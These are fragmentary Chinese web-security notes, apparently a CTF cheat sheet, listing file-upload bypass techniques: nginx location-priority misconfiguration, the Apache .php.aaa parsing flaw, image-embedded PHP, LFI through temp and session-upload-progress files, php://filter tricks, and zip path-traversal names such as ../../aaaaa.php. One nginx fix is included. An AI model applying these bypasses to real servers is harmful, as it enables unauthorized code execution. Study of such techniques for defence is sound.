pathinfo在各大框架流行,很多都支持,会把location类似x.php/xxxxx的路径也交给FPM解析,但是x.php/xxxxx
并不符合deny all匹配规则,导致绕过
Nginx中经常出现多个location都能匹配请求URI的场景,具体交给哪个location语句块处理,就需要看location块儿的匹配优先级。
nginx的location块儿匹配优先级先匹配普通location,然后匹配正则location,如果存在多个普通location则会按找最长前缀原则选择location
location /book/upload/{
deny all;
}
location ~ \.php(/|$){
省略
}
在普通的location匹配完成后,如果不是完全匹配,那么就会继续交给正则进行匹配,如果正则匹配成功,就会覆盖普通location匹配的结果。
所以deny all
被正则location 匹配所覆盖,upload目录下的php文件依旧能正常运行。
正确的做法应该是在普通匹配前面加上^~
表示只要匹配成功就算不完全匹配也不会在进行正则匹配
location ^~/book/upload/{
deny all;
}
Deny from all
此时可以利用apache的解析漏洞上传yu.php.aaa
文件,绕过deny all
很容易,php代码添加到图片后面即可
或者可以定义
#define %s %d
例如#define height 100
# define wideth 1100
就省去了图片的麻烦
应该是二次渲染绕过,
有成熟的脚本
如下
https://github.com/BlackFan/jpg_payload
php在上传过程中,会生成临时文件,然后会删除,如果找不到文件包含可以包含临时文件
由于上传文件会生成6位随机字符的文件名,因为上传完成后会删除,所以很麻烦,但是如果我们对phpinfo上传文件,就可以拿到生成的文件。
因为phpinfo会显示不管 是post还是get的参数
LFI配合phpinfo场景已经有很成熟的利用脚本了
当session.upload_progess.enabled开启的时候,
php就能在每个文件上传时检测上传进度,
从PHP5.4以后,默认开启。
同时POST与INI中设置同名变量session.upload_progess.name
当php检测到这种POST请求的时候,会向session中添加一组数据,来写入上传信息。
那么如果我们上传时,模拟这个POST
构成两个文件头
(图片不方便往上放,可以查看其他师傅图片)
将文件名字改成PHP_SESSION_UPLOAD_PREGRESS
x.jpg
同时需要条件竞争,在session文件被清除前包含到session文件。
详情看这里师傅的吧
https://hackmd.io/s/Hk-2nUb3Q
本节原理很多,图片不做展示
文件名为yu.php/.
很多网站会在上传的时候将文件开头加入
为了绕过exit
我们可以使用过滤器把他处理掉
这里选用base64_decode 进行处理
后端直接解压,造成任意文件上传
如果解压出目录,他不做检测,只检测脚本文件,那么就导致绕过
在删除之前,访问到我们的上传的文件,
当解压一半发生错误时,前一半文件会生成,
我们使用010 Editor 将我们代码放在前一半,然后将其后的内容修改为0xff
就会解压失败
特殊文件包含两个,
第一个需要正常文件,避免linux下解压不成功
第二个需要目录跳转的文件,可以命名为
../../aaaaa.php